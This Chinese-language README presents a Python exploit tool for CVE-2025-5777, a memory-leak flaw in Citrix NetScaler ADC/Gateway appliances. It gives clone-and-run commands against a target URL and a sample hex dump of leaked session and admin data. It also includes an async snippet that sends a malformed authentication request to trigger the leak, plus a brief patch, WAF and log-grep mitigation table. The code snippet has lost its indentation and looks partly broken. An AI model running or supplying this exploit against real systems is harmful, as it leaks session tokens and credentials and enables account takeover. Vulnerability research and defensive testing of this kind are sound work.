
该工具演示了 CVE-2025-5777,这是一个 Citrix NetScaler ADC/Gateway 设备中的严重内存泄露漏洞。该利用通过畸形的认证请求泄露敏感内存内容。
主要特性:
✔ 通过XML响应解析进行内存泄漏检测
✔ 泄漏内存区域的 十六进制+ASCII 转储
✔ 兼容 Burp Suite 的请求格式
✔ 异步请求实现高效测试


git clone https://github.com/bughuntar/CVE-2025-5777.git
cd CVE-2025-5777
pip install requests beautifulsoup4 aiohttp colorama
chmod +x citrix_memory_leak.py
python3 citrix_memory_leak.py https://target-netscaler.com
预期输出:
+ [+] 检测到内存泄漏!
--- 泄漏内存十六进制转储 ---
00000000 73 65 73 73 69 6F 6E 3D 31 32 33 34 35 36 37 38 session=12345678
00000010 55 73 65 72 3A 20 61 64 6D 69 6E 00 00 00 00 00 User: admin.....
| 措施 | 命令/参考 |
|---|---|
| 补丁 | Citrix 安全公告 |
| WAF 规则 | 封禁带有畸形参数的 POST /p/u/doAuthentication.do 请求 |
| 检测 | grep 'POST /p/u/doAuthentication.do' netscaler.log |
# 畸形请求触发
async def exploit(target):
async with aiohttp.post(
f"{target}/p/u/doAuthentication.do",
data="login", # 缺少等号触发泄漏
ssl=False
) as response:
await parse_leak(await response.read())
- 此工具仅用于授权测试。
- 未经授权使用将违反国际网络安全法律。
完整免责声明: DISCLAIMER.md